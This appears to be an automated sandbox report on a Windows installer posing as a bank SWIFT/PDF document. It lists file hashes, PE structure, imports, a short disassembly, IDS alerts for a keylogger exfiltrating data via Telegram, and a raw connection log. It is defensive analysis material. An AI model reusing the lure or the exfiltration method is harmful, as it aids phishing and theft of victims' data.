                                                                                                          SSDEEP:6144:KO8rRdpVXWcyIXDtKgsw1dnPXWkBFWoveSw+ShCdf0PBfjmNakqxQ8u9a6Ioj6wf:f8rRdTmoDo/wPnvWkqmaNxQuqWpKJ
                                                                                                          MD5:0BEBE86FDEE11B7B6297247AD6302535
                                                                                                          SHA1:68EC7B70BEF8FF7787DCC549638FC8236195390A
                                                                                                          SHA-256:A3713D189F3B9D30D8A350C275BA3E50C53CCD99E76C1FEA06E6CFB4E03935D1
                                                                                                          SHA-512:25369AF5A43A9256F067901F5815B1D9B1A3DD809ED45DD520D7547FC5471CE6B9ED985D45FB695EEB02E0C91D11CF8B1B16D8CC368949BC4F489AE75ED78545
                                                                                                          Malicious:false
                                                                                                          Reputation:low
                                                                                                          Preview:.:......,.......,.......\........$......l9......j:............................................................u.........................R...................................................................................................................................................G...J...............h...............................................................g...............................................................j..............................................................................................................................._.......................................................................................................................................................................................................................................................................................................................................................................................................................................................
                                                                                                          Process:C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe
                                                                                                          File Type:data
                                                                                                          Category:dropped
                                                                                                          Size (bytes):161977
                                                                                                          Entropy (8bit):1.2465706431701635
                                                                                                          Encrypted:false
                                                                                                          SSDEEP:768:j91kr2E4uLB4rAvVSJUxZOKLuPYUIlh6njQqVK+P7T6r6hI4W7lD1jBCgUpo:94irAZug+TLg1cpo
                                                                                                          MD5:818D9B577C6A2CCB8C8D753C89B0AEED
                                                                                                          SHA1:1912E60E75B47E0AC0B0ACDB2B320F0B36D3CE22
                                                                                                          SHA-256:B53DFB245A8D5A0F0FAEEC7E8B4AE273522AC29FD29B33608F9BA7F9ADB90279
                                                                                                          SHA-512:91993AA2E3E2666A3945886101B2B670CD3B0D76CF3CFFF3684DCB310FE324A1C650FAB5D5D00B8CFA49B5A7713FE2DBBA6DC2D8BB8DAC7A169495E6694CE4C6
                                                                                                          Malicious:false
                                                                                                          Reputation:low
                                                                                                          Preview:................(.R.............B...........f....H...................................................5....................................5........m............................./................?................4...............................l..........................................U..........................................................#....................M..............................................................g...................................................l..................f....................?.........................._..........................................................................u......x....................l....................~.......................S...C.............................................................................................).................l......................................................................................................................b...k................................................................
                                                                                                          Process:C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe
                                                                                                          File Type:data
                                                                                                          Category:dropped
                                                                                                          Size (bytes):95383
                                                                                                          Entropy (8bit):4.590493249543966
                                                                                                          Encrypted:false
                                                                                                          SSDEEP:1536:mkP6Ro1trv6OfpGwoB/UOKwNFtqr7jU9HDwdC:m6IoPrv6qpNqFtAjEDl
                                                                                                          MD5:5A8AE9C714F277A73E892829DFB49020
                                                                                                          SHA1:223575F96382A8826268B7BA7E2632AD395F501B
                                                                                                          SHA-256:96135BA6FFD66EE96685104A0036C663B1E9146CFF61624EF66208954E390529
                                                                                                          SHA-512:80D8880ECA73F2808F1ADF851DF201937427C166B64FB5F87473DCCBE54BB1E6292CA4132F6724656081F7F913D413563CA2ABA4704A063865969CF94F98798A
                                                                                                          Malicious:false
                                                                                                          Reputation:low
                                                                                                          Preview:...............p.``.pp.............__...TTT........R........0.............O.....*......f....66666..................MM.#..........Y........i.1.........aa.>..kk............Z.......................T............[[[........J.........!........ ...M..DD..........................|........>>...YYYY..KKKKK..................NN......_..........................................X.zzzzzz..:........A.z......................r..................XXXXX...........EE...................T............v......f..RR...........#..V...............................................\..vv...SSSS.............)......pp.xxxxxxxxx...........VV...99................LLL.iiii........Y......bbb.........]..........66......;;.^....L.d......FF..........vvv..C..m......l.....[[[[[.cccc...zz..nnnn...WWW..........5......kkk.........................=...........................................PPPP...(..................|....@@......I....................{..F.......a....5555.....JJ.....###..........................;;....................w...7.
                                                                                                          Process:C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe
                                                                                                          File Type:data
                                                                                                          Category:dropped
                                                                                                          Size (bytes):266379
                                                                                                          Entropy (8bit):7.804024163240316
                                                                                                          Encrypted:false
                                                                                                          SSDEEP:6144:xVXWcyIXDtKgsw1dnPXWkBFWoveSw+ShCdf0PBfjmNakqxQ9:bmoDo/wPnvWkqmaNxQ9
                                                                                                          MD5:487EF3DA1EE32F8ED740FAE037C63CEE
                                                                                                          SHA1:AF57E5FAFBC549BAE546F2E700AE06C9318CE7BA
                                                                                                          SHA-256:5664D4123F3C4EBD8ED539CBA72BF64766132D1F49C39EB963A59937AB3A165B
                                                                                                          SHA-512:94D417157EC4AC81962F514B05DF9F706CFA50671D6F13A6DBD940B184D6251721666E7C41900167D8427037AB8F49C4589FE8474FDC90D660D91EBB9EEBBFA4
                                                                                                          Malicious:false
                                                                                                          Reputation:low
                                                                                                          Preview:...****.R.........aaaaa..........i..$$...V...5.w....~........NNN..i...=.....ff.....:.vv.............{{.b.3.............................<...............................................||..mmm..........D.......eeeee.....I....................................._......H.....d....m............tt.U.............*..#.?.....66..tttt........................................../.P..............O..EE..........KKKK.`..//....w........................M....................WW......B......B.^^^^^......n.................AAA.e........K..............m...VVV.....yyy........q........................................-........[.............I.nn..kk..d...&&&&&.........................I...........pp...........>>>>...ssss........EE...N......!!......................WW.....11.........[.../.....999.....3.....V...........IIII..............7...............yyy...O................55....^..........bbb....w...............~~.........uu.LLL......].$.......u.......{...`............xx....GGGG..vvvvvv.8.........:.....---.&........q
                                                                                                          Process:C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe
                                                                                                          File Type:JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 225x225, components 3
                                                                                                          Category:dropped
                                                                                                          Size (bytes):2929
                                                                                                          Entropy (8bit):7.418910042244289
                                                                                                          Encrypted:false
                                                                                                          SSDEEP:48:j2XBhBOaFxHfEaq1kk1YunCRbvwxhjAxnyHIvR4SnHP7oNLpLR8Fqhr:j2XBv9Fx2kkO7RihjlovpnHPCpaQ1
                                                                                                          MD5:49DAF4E74443D8502F3229468615185F
                                                                                                          SHA1:9BB41BF5F382EE315893366F559FA26D57A4CD5F
                                                                                                          SHA-256:E5EE495A89E55467DB6A396F012EDB6A71D2E762CFC7FC6846FE7259528BF168
                                                                                                          SHA-512:EE9ABC6A19215FED64584BA24736ECBA24139CD03A75530FF351C99A25628410472A28F4EE08E87CE1F75DC79396A2A9C1AC79C399720C320437BC18993B561A
                                                                                                          Malicious:false
                                                                                                          Reputation:low
                                                                                                          Preview:......JFIF...................................................( ..%...!1!%)+.....383-7(-.+...........+...+8+++-+-+-+--+--+7+---+7-7+-7-7++---++-+7--7-+7+-+..........."........................................E........................!.1AQq."a...2...BR....#3Cbr...S......4DUcs..................................................1!............?.................................................................................@...............@........'7.O|.(....i.<..M.4....vZ...-T.,~.&../...m.:.6..oe.;WZ]m[..:..:\.6U...........ey....F..m.I...6..G..S.z4..>..1p.*..E~OG.fQD.............I....$"@...9.g..]d.Ao..!.f../.oH..}.6.INNRm..l..ngV..+G...b$V.N...k.....=.........IR.KoG.qrJ...c..)..N[W..z.....h.R..Tm..*....ME....M....E...9.OI=.roU..%.&..a1p...;.\S..|..x..._U..L....w>...............A$...D....0s.F.)s.uy..\._7......DbE..z....r.E...r7|.1..}=......./.a.r.NJJs.........+...&..,...9.wm..V.ddlx.....e.f..4T.x.y>\..n....7.tu......M.gq[.6.......>.N.#....kzw,..(.QJ*K.L.......... .
                                                                                                          Process:C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe
                                                                                                          File Type:data
                                                                                                          Category:dropped
                                                                                                          Size (bytes):461378
                                                                                                          Entropy (8bit):1.252059381950645
                                                                                                          Encrypted:false
                                                                                                          SSDEEP:1536:s3tr+hilKd11tUzcxZg7SBobbR5FF7b7IvSog:sRVmQc3u9F7b76
                                                                                                          MD5:3AD2FE4EA13486258EADDD1E5940A6D7
                                                                                                          SHA1:06D0468A125D754D4534C182D79444DFB7A1CF61
                                                                                                          SHA-256:E4C5F20595C446D20C978CF7B486579BA2FFC17E64B940733B40C89DF4331319
                                                                                                          SHA-512:82328E01492BDB8B23555CB369279A5352B35E0B51A4A4AC88D9F9285BBDABA627FE01139B4F9669847252D5A59FC512B2463A364EFD5C33B83309D6A8985D59
                                                                                                          Malicious:false
                                                                                                          Reputation:low
                                                                                                          Preview:w......................j..........................p................................................-.......................;....................Y..........................1:....................................................................................G........B...............................................................................^.........................................................o.................'......................... .....................................F..................................................................................................................E...........................................97.....................................K...f.....r..........._...............h........+........................ ........./.............................d........m..........................b...................e.c......................................................................\...........5......t.....................b.................................
                                                                                                          Process:C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe
                                                                                                          File Type:data
                                                                                                          Category:dropped
                                                                                                          Size (bytes):225641
                                                                                                          Entropy (8bit):1.2362366155163755
                                                                                                          Encrypted:false
                                                                                                          SSDEEP:768:HcPiBl7QD/ad4B+etLBBF64vscOIBiMFYnfBc1TS/HVtHlY4bDzZkmNQyFY670Fn:QaxOPt/G9V4yf7P/zZkX00b/h
                                                                                                          MD5:94C4B93474D07658FCBD411A20E68532
                                                                                                          SHA1:66421117EB902B48D39A1514C88C868394085FCF
                                                                                                          SHA-256:50B1D7356F0CC22F2A9AE93A7CC9738C6BC0907724ACDB85F68F594333B706DC
                                                                                                          SHA-512:BC1C40FF5B9FD71590E9B3E71D7B58A46E8AFBE56DFBD22C39F5DC0952ACEDC96F2BC4D8428EA0BCD75D67BD32F2B095585925CD8141063801FB128EA46F7471
                                                                                                          Malicious:false
                                                                                                          Reputation:low
                                                                                                          Preview:..........................~................................................/........[...............................................R......................R....................................................{.....................................E.........................E.....................................................8...../...................................5.............................................K...........................*.....................................k...................|.......=....................s....................................................................p...2...................................g.N................#................~......................................B..................................................J........................?............................{./.........................U................................z...........+..........................................................K..........................................A......
                                                                                                          File type:PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
                                                                                                          Entropy (8bit):7.090943260853394
                                                                                                          TrID:
                                                                                                          • Win32 Executable (generic) a (10002005/4) 99.96%
                                                                                                          • Generic Win/DOS Executable (2004/3) 0.02%
                                                                                                          • DOS Executable Generic (2002/1) 0.02%
                                                                                                          • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                                                                                                          File name:Bank Swift and SOA PRN0072003410853_pdf.exe
                                                                                                          File size:746'748 bytes
                                                                                                          MD5:09b9beebda4769c102cb42a564ef2001
                                                                                                          SHA1:a79649f64f1b3684436d0e8ec8226224a3cb35e6
                                                                                                          SHA256:ec936a27fcad21e1435ca19859482e5f91fc4822b65498bb1f4cc68b75a11567
                                                                                                          SHA512:531fbb9efce2c880c04612192eff0e0e7aec2d214464d40f9dc0dab2af9fc4f6650177c267d79eec1605963c0c7c61f4a85221ad3d6a8630b44f5eab98f1cbec
                                                                                                          SSDEEP:12288:xlYZmcRHOw+fUtqk6u+0n1eq2fHQSxmx7FBkqIaToWB6/gf:UmcdO5fUt4u+0Z2/t67FafWB+q
                                                                                                          TLSH:CBF4E06F57078456EF9015F2B8A39E4362F5BEBC216833095DA2FE1790B2F70394E489
                                                                                                          File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......1.D9u.*ju.*ju.*j..ujw.*ju.+j..*j..wjd.*j!..j..*j..,jt.*jRichu.*j........PE..L.....oS.................`...*......Z3.......p....@
                                                                                                          Icon Hash:058cc0e474936126
                                                                                                          Entrypoint:0x40335a
                                                                                                          Entrypoint Section:.text
                                                                                                          Digitally signed:false
                                                                                                          Imagebase:0x400000
                                                                                                          Subsystem:windows gui
                                                                                                          Image File Characteristics:RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
                                                                                                          DLL Characteristics:TERMINAL_SERVER_AWARE
                                                                                                          Time Stamp:0x536FD79B [Sun May 11 20:03:39 2014 UTC]
                                                                                                          TLS Callbacks:
                                                                                                          CLR (.Net) Version:
                                                                                                          OS Version Major:4
                                                                                                          OS Version Minor:0
                                                                                                          File Version Major:4
                                                                                                          File Version Minor:0
                                                                                                          Subsystem Version Major:4
                                                                                                          Subsystem Version Minor:0
                                                                                                          Import Hash:e221f4f7d36469d53810a4b5f9fc8966
                                                                                                          Instruction
                                                                                                          sub esp, 000002D4h
                                                                                                          push ebx
                                                                                                          push ebp
                                                                                                          push esi
                                                                                                          push edi
                                                                                                          push 00000020h
                                                                                                          xor ebp, ebp
                                                                                                          pop esi
                                                                                                          mov dword ptr [esp+14h], ebp
                                                                                                          mov dword ptr [esp+10h], 00409230h
                                                                                                          mov dword ptr [esp+1Ch], ebp
                                                                                                          call dword ptr [00407034h]
                                                                                                          push 00008001h
                                                                                                          call dword ptr [004070BCh]
                                                                                                          push ebp
                                                                                                          call dword ptr [004072ACh]
                                                                                                          push 00000008h
                                                                                                          mov dword ptr [00429298h], eax
                                                                                                          call 00007FB6852B52ACh
                                                                                                          mov dword ptr [004291E4h], eax
                                                                                                          push ebp
                                                                                                          lea eax, dword ptr [esp+34h]
                                                                                                          push 000002B4h
                                                                                                          push eax
                                                                                                          push ebp
                                                                                                          push 00420690h
                                                                                                          call dword ptr [0040717Ch]
                                                                                                          push 0040937Ch
                                                                                                          push 004281E0h
                                                                                                          call 00007FB6852B4F17h
                                                                                                          call dword ptr [00407134h]
                                                                                                          mov ebx, 00434000h
                                                                                                          push eax
                                                                                                          push ebx
                                                                                                          call 00007FB6852B4F05h
                                                                                                          push ebp
                                                                                                          call dword ptr [0040710Ch]
                                                                                                          cmp word ptr [00434000h], 0022h
                                                                                                          mov dword ptr [004291E0h], eax
                                                                                                          mov eax, ebx
                                                                                                          jne 00007FB6852B23FAh
                                                                                                          push 00000022h
                                                                                                          mov eax, 00434002h
                                                                                                          pop esi
                                                                                                          push esi
                                                                                                          push eax
                                                                                                          call 00007FB6852B4956h
                                                                                                          push eax
                                                                                                          call dword ptr [00407240h]
                                                                                                          mov dword ptr [esp+18h], eax
                                                                                                          jmp 00007FB6852B24BEh
                                                                                                          push 00000020h
                                                                                                          pop edx
                                                                                                          cmp cx, dx
                                                                                                          jne 00007FB6852B23F9h
                                                                                                          inc eax
                                                                                                          inc eax
                                                                                                          cmp word ptr [eax], dx
                                                                                                          je 00007FB6852B23EBh
                                                                                                          add word ptr [eax], 0000h
                                                                                                          Programming Language:
                                                                                                          • [EXP] VC++ 6.0 SP5 build 8804
                                                                                                          NameVirtual AddressVirtual Size Is in Section
                                                                                                          IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                                                                                          IMAGE_DIRECTORY_ENTRY_IMPORT0x74940xb4.rdata
                                                                                                          IMAGE_DIRECTORY_ENTRY_RESOURCE0x5f0000x43188.rsrc
                                                                                                          IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                                                                                          IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                                                                                          IMAGE_DIRECTORY_ENTRY_BASERELOC0x00x0
                                                                                                          IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
                                                                                                          IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                                                                          IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                                                                          IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                                                                                          IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                                                                                                          IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                                                                          IMAGE_DIRECTORY_ENTRY_IAT0x70000x2b8.rdata
                                                                                                          IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                                                                          IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                                                                                          IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0
                                                                                                          NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                                                                          .text0x10000x5e680x60002f6554958e1a5093777de617d6e0bffcFalse0.6566162109375data6.419811957742583IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                                                                                          .rdata0x70000x13540x14002222fe44ebbadbc32af32dfc9c88e48eFalse0.4306640625data5.037511188789184IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                                          .data0x90000x202d80x6009587277f9a9b39e2caf86eae07909d87False0.4733072916666667data3.757932017065988IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                                          .ndata0x2a0000x350000x0d41d8cd98f00b204e9800998ecf8427eFalse0empty0.0IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                                          .rsrc0x5f0000x431880x43200ad79ab7bc0418c21ba04b90eb50d4a0cFalse0.18500494646182494data4.605797713668011IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                                          NameRVASizeTypeLanguageCountryZLIB Complexity
                                                                                                          RT_BITMAP0x5f2b00x368Device independent bitmap graphic, 96 x 16 x 4, image size 768EnglishUnited States0.23623853211009174
                                                                                                          RT_ICON0x5f6180x42028Device independent bitmap graphic, 256 x 512 x 32, image size 270336EnglishUnited States0.1810552711779152
                                                                                                          RT_DIALOG0xa16400x144dataEnglishUnited States0.5216049382716049
                                                                                                          RT_DIALOG0xa17880x13cdataEnglishUnited States0.5506329113924051
                                                                                                          RT_DIALOG0xa18c80x100dataEnglishUnited States0.5234375
                                                                                                          RT_DIALOG0xa19c80x11cdataEnglishUnited States0.6091549295774648
                                                                                                          RT_DIALOG0xa1ae80xc4dataEnglishUnited States0.5918367346938775
                                                                                                          RT_DIALOG0xa1bb00x60dataEnglishUnited States0.7291666666666666
                                                                                                          RT_GROUP_ICON0xa1c100x14dataEnglishUnited States1.1
                                                                                                          RT_VERSION0xa1c280x258dataEnglishUnited States0.5216666666666666
                                                                                                          RT_MANIFEST0xa1e800x305XML 1.0 document, ASCII text, with very long lines (773), with no line terminatorsEnglishUnited States0.5614489003880984
                                                                                                          DLLImport
                                                                                                          KERNEL32.dllCompareFileTime, SearchPathW, SetFileTime, CloseHandle, GetShortPathNameW, MoveFileW, SetCurrentDirectoryW, GetFileAttributesW, GetLastError, GetFullPathNameW, CreateDirectoryW, Sleep, GetTickCount, CreateFileW, GetFileSize, GetModuleFileNameW, GetCurrentProcess, CopyFileW, ExitProcess, SetEnvironmentVariableW, GetWindowsDirectoryW, SetFileAttributesW, ExpandEnvironmentStringsW, SetErrorMode, LoadLibraryW, lstrlenW, lstrcpynW, GetDiskFreeSpaceW, GlobalUnlock, GlobalLock, CreateThread, CreateProcessW, RemoveDirectoryW, lstrcmpiA, GetTempFileNameW, lstrcpyA, lstrcpyW, lstrcatW, GetSystemDirectoryW, GetVersion, GetProcAddress, LoadLibraryA, GetModuleHandleA, GetModuleHandleW, lstrcmpiW, lstrcmpW, WaitForSingleObject, GlobalFree, GlobalAlloc, LoadLibraryExW, GetExitCodeProcess, FreeLibrary, WritePrivateProfileStringW, GetCommandLineW, GetTempPathW, GetPrivateProfileStringW, FindFirstFileW, FindNextFileW, DeleteFileW, SetFilePointer, ReadFile, FindClose, MulDiv, MultiByteToWideChar, WriteFile, lstrlenA, WideCharToMultiByte
                                                                                                          USER32.dllEndDialog, ScreenToClient, GetWindowRect, RegisterClassW, EnableMenuItem, GetSystemMenu, SetClassLongW, IsWindowEnabled, SetWindowPos, GetSysColor, GetWindowLongW, SetCursor, LoadCursorW, CheckDlgButton, GetMessagePos, LoadBitmapW, CallWindowProcW, IsWindowVisible, CloseClipboard, SetClipboardData, wsprintfW, CreateWindowExW, SystemParametersInfoW, AppendMenuW, CreatePopupMenu, GetSystemMetrics, SetDlgItemTextW, GetDlgItemTextW, MessageBoxIndirectW, CharPrevW, CharNextA, wsprintfA, DispatchMessageW, PeekMessageW, ReleaseDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, DrawTextW, GetClassInfoW, DialogBoxParamW, CharNextW, ExitWindowsEx, DestroyWindow, CreateDialogParamW, SetTimer, SetWindowTextW, PostQuitMessage, GetDC, SetWindowLongW, LoadImageW, SendMessageTimeoutW, FindWindowExW, EmptyClipboard, OpenClipboard, TrackPopupMenu, EndPaint, ShowWindow, GetDlgItem, IsWindow, SetForegroundWindow
                                                                                                          GDI32.dllSelectObject, SetBkMode, CreateFontIndirectW, SetTextColor, DeleteObject, GetDeviceCaps, CreateBrushIndirect, SetBkColor
                                                                                                          SHELL32.dllSHGetSpecialFolderLocation, SHGetPathFromIDListW, SHBrowseForFolderW, SHGetFileInfoW, ShellExecuteW, SHFileOperationW
                                                                                                          ADVAPI32.dllRegCloseKey, RegOpenKeyExW, RegDeleteKeyW, RegDeleteValueW, RegEnumValueW, RegCreateKeyExW, RegSetValueExW, RegQueryValueExW, RegEnumKeyW
                                                                                                          COMCTL32.dllImageList_Create, ImageList_AddMasked, ImageList_Destroy
                                                                                                          ole32.dllCoCreateInstance, CoTaskMemFree, OleInitialize, OleUninitialize
                                                                                                          VERSION.dllGetFileVersionInfoSizeW, GetFileVersionInfoW, VerQueryValueW
                                                                                                          Language of compilation systemCountry where language is spokenMap
                                                                                                          EnglishUnited States
                                                                                                          TimestampSIDSignatureSeveritySource IPSource PortDest IPDest PortProtocol
                                                                                                          2024-12-03T10:07:54.987250+01002803270ETPRO MALWARE Common Downloader Header Pattern UHCa2192.168.2.549785172.217.19.174443TCP
                                                                                                          2024-12-03T10:08:02.353690+01002803274ETPRO MALWARE Common Downloader Header Pattern UH2192.168.2.549807193.122.130.080TCP
                                                                                                          2024-12-03T10:08:10.884946+01002803274ETPRO MALWARE Common Downloader Header Pattern UH2192.168.2.549807193.122.130.080TCP
                                                                                                          2024-12-03T10:08:13.063510+01002057744ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram1192.168.2.549831149.154.167.220443TCP
                                                                                                          2024-12-03T10:08:14.588087+01002803274ETPRO MALWARE Common Downloader Header Pattern UH2192.168.2.549837193.122.130.080TCP
                                                                                                          2024-12-03T10:08:16.572544+01002057744ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram1192.168.2.549842149.154.167.220443TCP
                                                                                                          2024-12-03T10:08:20.685027+01002057744ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram1192.168.2.549851149.154.167.220443TCP
                                                                                                          2024-12-03T10:08:24.934366+01002057744ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram1192.168.2.549864149.154.167.220443TCP
                                                                                                          2024-12-03T10:08:29.088266+01002057744ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram1192.168.2.549874149.154.167.220443TCP
                                                                                                          2024-12-03T10:08:32.581714+01002057744ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram1192.168.2.549885149.154.167.220443TCP
                                                                                                          2024-12-03T10:08:35.925133+01002057744ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram1192.168.2.549894149.154.167.220443TCP
                                                                                                          2024-12-03T10:08:39.356327+01002057744ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram1192.168.2.549903149.154.167.220443TCP
                                                                                                          2024-12-03T10:08:42.748741+01002057744ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram1192.168.2.549913149.154.167.220443TCP
                                                                                                          2024-12-03T10:08:46.059309+01002057744ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram1192.168.2.549922149.154.167.220443TCP
                                                                                                          2024-12-03T10:08:49.558654+01002057744ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram1192.168.2.549933149.154.167.220443TCP
                                                                                                          2024-12-03T10:08:53.121035+01002057744ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram1192.168.2.549942149.154.167.220443TCP
                                                                                                          2024-12-03T10:08:56.452479+01002057744ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram1192.168.2.549951149.154.167.220443TCP
                                                                                                          2024-12-03T10:08:59.770297+01002057744ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram1192.168.2.549961149.154.167.220443TCP
                                                                                                          2024-12-03T10:09:04.369183+01002057744ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram1192.168.2.549970149.154.167.220443TCP
                                                                                                          TimestampSource PortDest PortSource IPDest IP
                                                                                                          Dec 3, 2024 10:07:52.308252096 CET49785443192.168.2.5172.217.19.174
                                                                                                          Dec 3, 2024 10:07:52.308293104 CET44349785172.217.19.174192.168.2.5
                                                                                                          Dec 3, 2024 10:07:52.308451891 CET49785443192.168.2.5172.217.19.174
                                                                                                          Dec 3, 2024 10:07:52.318130970 CET49785443192.168.2.5172.217.19.174
                                                                                                          Dec 3, 2024 10:07:52.318145037 CET44349785172.217.19.174192.168.2.5
                                                                                                          Dec 3, 2024 10:07:54.061575890 CET44349785172.217.19.174192.168.2.5
                                                                                                          Dec 3, 2024 10:07:54.061651945 CET49785443192.168.2.5172.217.19.174
                                                                                                          Dec 3, 2024 10:07:54.062355995 CET44349785172.217.19.174192.168.2.5
                                                                                                          Dec 3, 2024 10:07:54.062405109 CET49785443192.168.2.5172.217.19.174
                                                                                                          Dec 3, 2024 10:07:54.254080057 CET49785443192.168.2.5172.217.19.174
                                                                                                          Dec 3, 2024 10:07:54.254106998 CET44349785172.217.19.174192.168.2.5
                                                                                                          Dec 3, 2024 10:07:54.254478931 CET44349785172.217.19.174192.168.2.5
                                                                                                          Dec 3, 2024 10:07:54.254537106 CET49785443192.168.2.5172.217.19.174
                                                                                                          Dec 3, 2024 10:07:54.258322954 CET49785443192.168.2.5172.217.19.174
                                                                                                          Dec 3, 2024 10:07:54.303333044 CET44349785172.217.19.174192.168.2.5
                                                                                                          Dec 3, 2024 10:07:54.987246990 CET44349785172.217.19.174192.168.2.5
                                                                                                          Dec 3, 2024 10:07:54.987351894 CET49785443192.168.2.5172.217.19.174
                                                                                                          Dec 3, 2024 10:07:54.987369061 CET44349785172.217.19.174192.168.2.5
                                                                                                          Dec 3, 2024 10:07:54.987416983 CET49785443192.168.2.5172.217.19.174
                                                                                                          Dec 3, 2024 10:07:54.987566948 CET49785443192.168.2.5172.217.19.174
                                                                                                          Dec 3, 2024 10:07:54.987601042 CET44349785172.217.19.174192.168.2.5
                                                                                                          Dec 3, 2024 10:07:54.987749100 CET44349785172.217.19.174192.168.2.5
                                                                                                          Dec 3, 2024 10:07:54.987804890 CET49785443192.168.2.5172.217.19.174
                                                                                                          Dec 3, 2024 10:07:54.987823009 CET49785443192.168.2.5172.217.19.174
                                                                                                          Dec 3, 2024 10:07:55.144848108 CET49793443192.168.2.5142.250.181.33
                                                                                                          Dec 3, 2024 10:07:55.144900084 CET44349793142.250.181.33192.168.2.5
                                                                                                          Dec 3, 2024 10:07:55.144983053 CET49793443192.168.2.5142.250.181.33
                                                                                                          Dec 3, 2024 10:07:55.145345926 CET49793443192.168.2.5142.250.181.33
                                                                                                          Dec 3, 2024 10:07:55.145361900 CET44349793142.250.181.33192.168.2.5
                                                                                                          Dec 3, 2024 10:07:56.843743086 CET44349793142.250.181.33192.168.2.5
                                                                                                          Dec 3, 2024 10:07:56.843836069 CET49793443192.168.2.5142.250.181.33
                                                                                                          Dec 3, 2024 10:07:57.011948109 CET49793443192.168.2.5142.250.181.33
                                                                                                          Dec 3, 2024 10:07:57.011982918 CET44349793142.250.181.33192.168.2.5
                                                                                                          Dec 3, 2024 10:07:57.012299061 CET44349793142.250.181.33192.168.2.5
                                                                                                          Dec 3, 2024 10:07:57.012360096 CET49793443192.168.2.5142.250.181.33
                                                                                                          Dec 3, 2024 10:07:57.020736933 CET49793443192.168.2.5142.250.181.33
                                                                                                          Dec 3, 2024 10:07:57.067334890 CET44349793142.250.181.33192.168.2.5
                                                                                                          Dec 3, 2024 10:07:59.485512018 CET44349793142.250.181.33192.168.2.5
                                                                                                          Dec 3, 2024 10:07:59.485713959 CET49793443192.168.2.5142.250.181.33
                                                                                                          Dec 3, 2024 10:07:59.498872995 CET44349793142.250.181.33192.168.2.5
                                                                                                          Dec 3, 2024 10:07:59.499048948 CET49793443192.168.2.5142.250.181.33
                                                                                                          Dec 3, 2024 10:07:59.605344057 CET44349793142.250.181.33192.168.2.5
                                                                                                          Dec 3, 2024 10:07:59.605439901 CET49793443192.168.2.5142.250.181.33
                                                                                                          Dec 3, 2024 10:07:59.605470896 CET44349793142.250.181.33192.168.2.5
                                                                                                          Dec 3, 2024 10:07:59.605518103 CET49793443192.168.2.5142.250.181.33
                                                                                                          Dec 3, 2024 10:07:59.609663010 CET44349793142.250.181.33192.168.2.5
                                                                                                          Dec 3, 2024 10:07:59.609723091 CET49793443192.168.2.5142.250.181.33
                                                                                                          Dec 3, 2024 10:07:59.677036047 CET44349793142.250.181.33192.168.2.5
                                                                                                          Dec 3, 2024 10:07:59.677092075 CET49793443192.168.2.5142.250.181.33
                                                                                                          Dec 3, 2024 10:07:59.680948973 CET44349793142.250.181.33192.168.2.5
                                                                                                          Dec 3, 2024 10:07:59.680994987 CET49793443192.168.2.5142.250.181.33
                                                                                                          Dec 3, 2024 10:07:59.681035042 CET44349793142.250.181.33192.168.2.5
                                                                                                          Dec 3, 2024 10:07:59.681072950 CET49793443192.168.2.5142.250.181.33
                                                                                                          Dec 3, 2024 10:07:59.686813116 CET44349793142.250.181.33192.168.2.5
                                                                                                          Dec 3, 2024 10:07:59.686861992 CET49793443192.168.2.5142.250.181.33
                                                                                                          Dec 3, 2024 10:07:59.694703102 CET44349793142.250.181.33192.168.2.5
